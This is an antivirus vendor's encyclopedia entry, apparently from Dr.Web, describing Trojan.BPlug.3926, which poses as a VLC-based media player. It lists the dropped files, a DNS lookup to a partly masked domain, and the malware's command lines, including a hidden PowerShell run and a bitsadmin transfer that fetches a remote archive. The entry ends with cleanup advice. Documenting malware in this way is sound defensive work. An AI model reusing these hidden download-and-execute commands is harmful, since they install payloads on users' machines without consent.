Защити созданное

Другие наши ресурсы

  • free.drweb.uz — бесплатные утилиты, плагины, информеры
  • av-desk.com — интернет-сервис для поставщиков услуг Dr.Web AV-Desk
  • curenet.drweb.uz — сетевая лечащая утилита Dr.Web CureNet!
  • www.drweb.uz/web-iq — ВебIQметр
Закрыть

Библиотека
Моя библиотека

Чтобы добавить ресурс в библиотеку, войдите в аккаунт.

+ Добавить в библиотеку

Ресурсов: -

Последний: -

Моя библиотека

Поддержка
Круглосуточная поддержка | Правила обращения

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Trojan.BPlug.3926

Добавлен в вирусную базу Dr.Web: 2021-05-20

Описание добавлено:

Technical Information

Modifies file system
Creates the following files
  • %TEMP%\nsge5bd.tmp
  • %ProgramFiles(x86)%\lighteningplayer\plugins\control\libwin_msg_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\d3d11\libdirect3d11_filters_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libaiff_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libasf_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libau_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libavi_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libcaf_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libdemux_cdg_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libdemux_stl_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libdemuxdump_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libdiracsys_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libtimecode_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libdirectory_demux_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libflacsys_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libgme_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libimage_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libmjpeg_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libmod_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libmpc_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libmpgv_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libnoseek_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libnsc_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libnsv_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libnuv_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\control\liboldrc_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\control\libwin_hotkeys_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\control\libntservice_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\control\libnetsync_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\control\libhotkeys_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libhttps_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libidummy_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libimem_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libnfs_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\librtp_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libsatip_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libscreen_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libsdp_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libsftp_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libshm_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libsmb_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libps_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libes_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libtcp_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libvcd_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libvdr_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\audio_output\libadummy_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\audio_output\libafile_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\audio_output\libamem_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\audio_output\libdirectsound_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\audio_output\libmmdevice_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\audio_output\libwasapi_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\audio_output\libwaveout_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\control\libdummy_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\control\libgestures_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libhttp_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libudp_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\keystore\libmemory_keystore_plugin.dll
  • %TEMP%\nsge5be.tmp\nsexec.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\librawdv_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\packetizer\libpacketizer_copy_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\packetizer\libpacketizer_dirac_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\packetizer\libpacketizer_dts_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\packetizer\libpacketizer_flac_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\packetizer\libpacketizer_h264_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\packetizer\libpacketizer_hevc_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\packetizer\libpacketizer_mlp_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\packetizer\libpacketizer_mpegaudio_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libpva_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\packetizer\libpacketizer_vc1_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\spu\liblogo_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\spu\libmarq_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\spu\libmosaic_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\spu\librss_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\spu\libsubsdelay_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\text_renderer\libfreetype_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\text_renderer\libtdummy_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\video_splitter\libclone_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\video_splitter\libpanoramix_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\video_splitter\libwall_plugin.dll
  • %TEMP%\nsge5be.tmp\tempfile.ps1
  • %ProgramFiles(x86)%\lighteningplayer\plugins\mux\libmux_ps_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\packetizer\libpacketizer_a52_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\mux\libmux_dummy_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\mux\libmux_asf_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\misc\libvod_rtsp_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libreal_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libsmf_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libsubtitle_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libtta_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libty_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libvc1_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libvobsub_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libvoc_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libwav_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\libxa_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\gui\libqt_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\librawaud_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libftp_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\keystore\libfile_keystore_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\logger\libfile_logger_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\lua\liblua_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\meta_engine\libfolder_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\meta_engine\libtaglib_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\misc\libaddonsfsstorage_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\misc\libaddonsvorepository_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\misc\libexport_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\misc\libfingerprinter_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\misc\libgnutls_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\misc\liblogger_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\misc\libstats_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\demux\librawvid_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\logger\libconsole_logger_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\spu\libaudiobargraph_v_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libfilesystem_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\twitch.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\dialogs\batch_window.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\extensions\vlsub.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\dialogs\browse_window.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\dialogs\equalizer_window.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\dialogs\error_window.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\dialogs\mosaic_window.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\dialogs\offset_window.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\dialogs\stream_config_window.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\dialogs\stream_window.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\images\audio-48.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\images\back-48.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\images\folder-48.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\images\other-48.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\images\video-48.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css
  • %HOMEPATH%\desktop\lightening media player.lnk
  • %APPDATA%\microsoft\windows\start menu\programs\lightening media player.lnk
  • %ProgramFiles(x86)%\lighteningplayer\connection.dll
  • %ProgramFiles(x86)%\lighteningplayer\data_load.exe
  • %ProgramFiles(x86)%\lighteningplayer\libssp-0.dll
  • %ProgramFiles(x86)%\lighteningplayer\libvlc.dll
  • %ProgramFiles(x86)%\lighteningplayer\libvlccore.dll
  • %ProgramFiles(x86)%\lighteningplayer\lighteningplayer-cache-gen.exe
  • %ProgramFiles(x86)%\lighteningplayer\lighteningplayer.exe
  • %ProgramFiles(x86)%\lighteningplayer\lighteningplayer.ico
  • %ProgramFiles(x86)%\lighteningplayer\regstr
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\images\buttons.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\dialogs\create_stream.html
  • %ProgramFiles(x86)%\lighteningplayer\hrtfs\dodeca_and_7channel_3dsl_hrtf.sofa
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\favicon.ico
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\index.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\mobile.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\mobile_browse.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\mobile_equalizer.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\mobile_view.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\view.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\vlm.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\vlm_export.html
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\main.css
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\css\mobile.css
  • %TEMP%\nsge5be.tmp\system.dll
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\custom.lua
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\requests\vlm_cmd.xml
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libcdda_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\images\vlc16x16.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\anevia_streams.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\anevia_xml.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\appletrailers.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\bbc_co_uk.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\cue.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\dailymotion.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\jamendo.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\koreus.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\liveleak.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\newgrounds.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\rockbox_fm_presets.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\images\speaker-32.png
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\soundcloud.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\vimeo.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\vocaroo.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\playlist\youtube.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\sd\icecast.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\sd\jamendo.luac
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libaccess_concat_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libaccess_imem_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libaccess_mms_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libaccess_realrtsp_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libaccess_wasapi_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libattachment_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\lua\modules\sandbox.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\modules\simplexml.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\modules\dkjson.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\modules\common.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\meta\reader\filename.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\js\controllers.js
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\js\jquery.jstree.js
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\js\ui.js
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\requests\readme.txt
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\requests\browse.json
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\requests\browse.xml
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\requests\playlist.json
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\requests\playlist.xml
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\requests\playlist_jstree.xml
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\requests\status.json
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\requests\status.xml
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\images\vlc-48.png
  • %ProgramFiles(x86)%\lighteningplayer\plugins\access\libdvdnav_plugin.dll
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\requests\vlm.xml
  • %ProgramFiles(x86)%\lighteningplayer\lua\intf\dummy.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\intf\dumpmeta.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\intf\http.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\intf\luac.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\intf\telnet.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\intf\modules\host.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\intf\modules\httprequests.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\meta\art\00_musicbrainz.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\meta\art\01_googleimage.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\meta\art\02_frenchtv.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\meta\art\03_lastfm.luac
  • %ProgramFiles(x86)%\lighteningplayer\lua\http\js\common.js
  • %ProgramFiles(x86)%\lighteningplayer\lua\intf\cli.luac
  • %TEMP%\nsge5be.tmp\dialer.dll
Network activity
UDP
  • DNS ASK mo#####mediacompany.com
Miscellaneous
Creates and executes the following
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsgE5BE.tmp\tempfile.ps1"
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -ExecutionPolicy RemoteSigned -File "%TEMP%\nsgE5BE.tmp\tempfile.ps1"' (with hidden window)
  • '%WINDIR%\syswow64\bitsadmin.exe' /Transfer helper http://mo#####mediacompany.com/data/data.7z C:\zip.7z' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\bitsadmin.exe' /Transfer helper http://mo#####mediacompany.com/data/data.7z C:\zip.7z

Рекомендации по лечению

  1. В случае если операционная система способна загрузиться (в штатном режиме или режиме защиты от сбоев), скачайте лечащую утилиту Dr.Web CureIt! и выполните с ее помощью полную проверку вашего компьютера, а также используемых вами переносных носителей информации.
  2. Если загрузка операционной системы невозможна, измените настройки BIOS вашего компьютера, чтобы обеспечить возможность загрузки ПК с компакт-диска или USB-накопителя. Скачайте образ аварийного диска восстановления системы Dr.Web® LiveDisk или утилиту записи Dr.Web® LiveDisk на USB-накопитель, подготовьте соответствующий носитель. Загрузив компьютер с использованием данного носителя, выполните его полную проверку и лечение обнаруженных угроз.
Скачать Dr.Web

По серийному номеру

Выполните полную проверку системы с использованием Антивируса Dr.Web Light для macOS. Данный продукт можно загрузить с официального сайта Apple App Store.

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Скачать Dr.Web

По серийному номеру

  1. Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light. Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
  2. Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
    • загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
    • после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
    • выключите устройство и включите его в обычном режиме.

Подробнее о Dr.Web для Android

Демо бесплатно на 14 дней

Выдаётся при установке